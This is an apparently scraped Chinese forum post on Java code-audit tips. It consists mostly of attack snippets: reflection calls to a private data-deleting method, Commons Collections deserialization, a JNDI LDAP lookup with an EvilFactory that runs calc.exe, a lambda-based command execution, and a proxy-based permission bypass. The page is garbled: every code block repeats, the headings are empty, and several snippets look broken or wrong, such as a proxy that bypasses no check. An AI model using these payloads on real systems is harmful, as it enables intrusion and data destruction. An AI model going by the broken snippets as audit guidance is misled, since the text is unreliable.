首页
社区
课程
招聘
1
[原创]Java代码审计的技巧
发表于: 2025-4-3 10:32 728

[原创]Java代码审计的技巧

2025-4-3 10:32
728

审计技巧

审计技巧

审计技巧

审计技巧

审计技巧

审计技巧

审计技巧

审计技巧

审计技巧

审计技巧

Java代码审计需要关注:

实际审计中,建议结合以下方法:

// 案例:通过反射调用私有危险方法
try {
    Class<?> clazz = Class.forName("com.vuln.InternalService");
    Method method = clazz.getDeclaredMethod("deleteAllData");
    method.setAccessible(true);  // 关键点:强制开启访问权限
    method.invoke(null);        // 执行敏感操作
} catch (Exception e) {
    e.printStackTrace();
}
// 案例:通过反射调用私有危险方法
try {
    Class<?> clazz = Class.forName("com.vuln.InternalService");
    Method method = clazz.getDeclaredMethod("deleteAllData");
    method.setAccessible(true);  // 关键点:强制开启访问权限
    method.invoke(null);        // 执行敏感操作
} catch (Exception e) {
    e.printStackTrace();
}
// 利用Apache Commons Collections链
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject();  // 反序列化入口
 
// 攻击载荷构造(伪代码):
ChainedTransformer chain = new ChainedTransformer(transformers);
TransformedMap.decorate(map, null, chain);
...
// 利用Apache Commons Collections链
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject();  // 反序列化入口
 
// 攻击载荷构造(伪代码):
ChainedTransformer chain = new ChainedTransformer(transformers);
TransformedMap.decorate(map, null, chain);
...
# 使用GadgetInspector检测
java -jar gadget-inspector.jar --target lib/
# 使用GadgetInspector检测
java -jar gadget-inspector.jar --target lib/
// Spring Security错误配置案例
@PreAuthorize("hasRole('USER')")
public void viewProfile() { /* ... */ }
 
// 错误配置允许所有访问
@Configuration
@EnableGlobalMethodSecurity(prePostEnabled = true, securedEnabled = false)
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.authorizeRequests().anyRequest().permitAll(); // 致命错误
    }
}
// Spring Security错误配置案例
@PreAuthorize("hasRole('USER')")
public void viewProfile() { /* ... */ }
 
// 错误配置允许所有访问
@Configuration
@EnableGlobalMethodSecurity(prePostEnabled = true, securedEnabled = false)
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.authorizeRequests().anyRequest().permitAll(); // 致命错误
    }
}
// 动态生成Lambda导致RCE
public interface Command {
    void execute(String cmd) throws Exception;
}
 
public static void main(String[] args) {
    String userInput = "java.lang.Runtime.getRuntime().exec('calc');";
 
    // 动态生成恶意Lambda
    Command cmd = (Command) LambdaMetafactory.metafactory(
        null, null, null,
        (MethodType)MethodType.methodType(void.class, String.class),
        MethodHandles.lookup().findVirtual(Runtime.class, "exec",
            MethodType.methodType(Process.class, String.class)),
        (MethodType)MethodType.methodType(void.class, String.class)
    ).getTarget().bindTo(Runtime.getRuntime()).invokeWithArguments(userInput);
 
    cmd.execute(""); // 触发命令执行
}
// 动态生成Lambda导致RCE
public interface Command {
    void execute(String cmd) throws Exception;
}
 
public static void main(String[] args) {
    String userInput = "java.lang.Runtime.getRuntime().exec('calc');";
 
    // 动态生成恶意Lambda
    Command cmd = (Command) LambdaMetafactory.metafactory(
        null, null, null,
        (MethodType)MethodType.methodType(void.class, String.class),
        MethodHandles.lookup().findVirtual(Runtime.class, "exec",
            MethodType.methodType(Process.class, String.class)),
        (MethodType)MethodType.methodType(void.class, String.class)
    ).getTarget().bindTo(Runtime.getRuntime()).invokeWithArguments(userInput);
 
    cmd.execute(""); // 触发命令执行
}
// 案例:通过内部类暴露私有字段
public class BankAccount {
    private BigDecimal balance; // 本应是私有字段
 
    public class Auditor {
        public void checkBalance() {
            System.out.println(balance); // 内部类直接访问外部类私有字段
        }
    }
}
 
// 攻击者通过反射获取内部类
Class<?> innerClazz = Class.forName("com.vuln.BankAccount$Auditor");
Object auditor = innerClazz.getDeclaredConstructor(BankAccount.class)
                          .newInstance(account);
Method method = auditor.getClass().getMethod("checkBalance");
method.invoke(auditor); // 泄露余额
// 案例:通过内部类暴露私有字段
public class BankAccount {
    private BigDecimal balance; // 本应是私有字段
 
    public class Auditor {
        public void checkBalance() {
            System.out.println(balance); // 内部类直接访问外部类私有字段
        }
    }
}
 
// 攻击者通过反射获取内部类
Class<?> innerClazz = Class.forName("com.vuln.BankAccount$Auditor");
Object auditor = innerClazz.getDeclaredConstructor(BankAccount.class)
                          .newInstance(account);
Method method = auditor.getClass().getMethod("checkBalance");
method.invoke(auditor); // 泄露余额
// 案例:利用泛型类型擦除
public class DataHolder<T> {
    private T data;
 
    public void setData(Object obj) {
        this.data = (T) obj; // 未做类型检查
    }
}
 
// 攻击者注入错误类型
DataHolder<String> holder = new DataHolder<>();
holder.setData(new File("/etc/passwd")); // 运行时不会报错
String data = holder.getData(); // ClassCastException延迟到此处
// 案例:利用泛型类型擦除
public class DataHolder<T> {
    private T data;
 
    public void setData(Object obj) {
        this.data = (T) obj; // 未做类型检查
    }
}
 
// 攻击者注入错误类型
DataHolder<String> holder = new DataHolder<>();
holder.setData(new File("/etc/passwd")); // 运行时不会报错
String data = holder.getData(); // ClassCastException延迟到此处
// 新版绕过技巧(JDK≥8u191后)
String uri = "ldap://127.0.0.1:1389/deserialPayload";
// 使用带Factory的Reference
Context ctx = new InitialContext();
Object obj = ctx.lookup(uri);
 
// 利用javax.naming.spi.ObjectFactory绕过
public class EvilFactory implements ObjectFactory {
    public Object getObjectInstance(Object obj, Name name,
                                   Context ctx, Hashtable<?,?> env) {
        Runtime.getRuntime().exec("calc.exe");
        return null;
    }
}
// 新版绕过技巧(JDK≥8u191后)
String uri = "ldap://127.0.0.1:1389/deserialPayload";
// 使用带Factory的Reference
Context ctx = new InitialContext();
Object obj = ctx.lookup(uri);
 
// 利用javax.naming.spi.ObjectFactory绕过
public class EvilFactory implements ObjectFactory {
    public Object getObjectInstance(Object obj, Name name,
                                   Context ctx, Hashtable<?,?> env) {
        Runtime.getRuntime().exec("calc.exe");
        return null;
    }
}
// 通过动态代理绕过权限检查
public interface AdminOperation {
    void deleteDatabase();
}
 
class RealAdmin implements AdminOperation {
    public void deleteDatabase() {
        SecurityManager sm = System.getSecurityManager();
        sm.checkPermission(new AdminPermission()); // 权限检查
        // 实际删除操作...
    }
}
 
// 攻击者构造代理绕过检查
AdminOperation proxy = (AdminOperation) Proxy.newProxyInstance(
    loader,
    new Class[]{AdminOperation.class},
    (proxy1, method, args) -> { // 直接调用方法,绕过检查
        return method.invoke(new RealAdmin(), args);
    }
);
proxy.deleteDatabase(); // 绕过SecurityManager
// 通过动态代理绕过权限检查
public interface AdminOperation {
    void deleteDatabase();
}
 
class RealAdmin implements AdminOperation {
    public void deleteDatabase() {
        SecurityManager sm = System.getSecurityManager();
        sm.checkPermission(new AdminPermission()); // 权限检查
        // 实际删除操作...
    }
}
 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2025-4-11 10:22 被Hrlies编辑 ,原因:
收藏
免费 1
支持
分享
赞赏记录
参与人
雪币
留言
时间
hwwuguoqiang
这个讨论对我很有帮助,谢谢!
2025-4-14 15:12
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册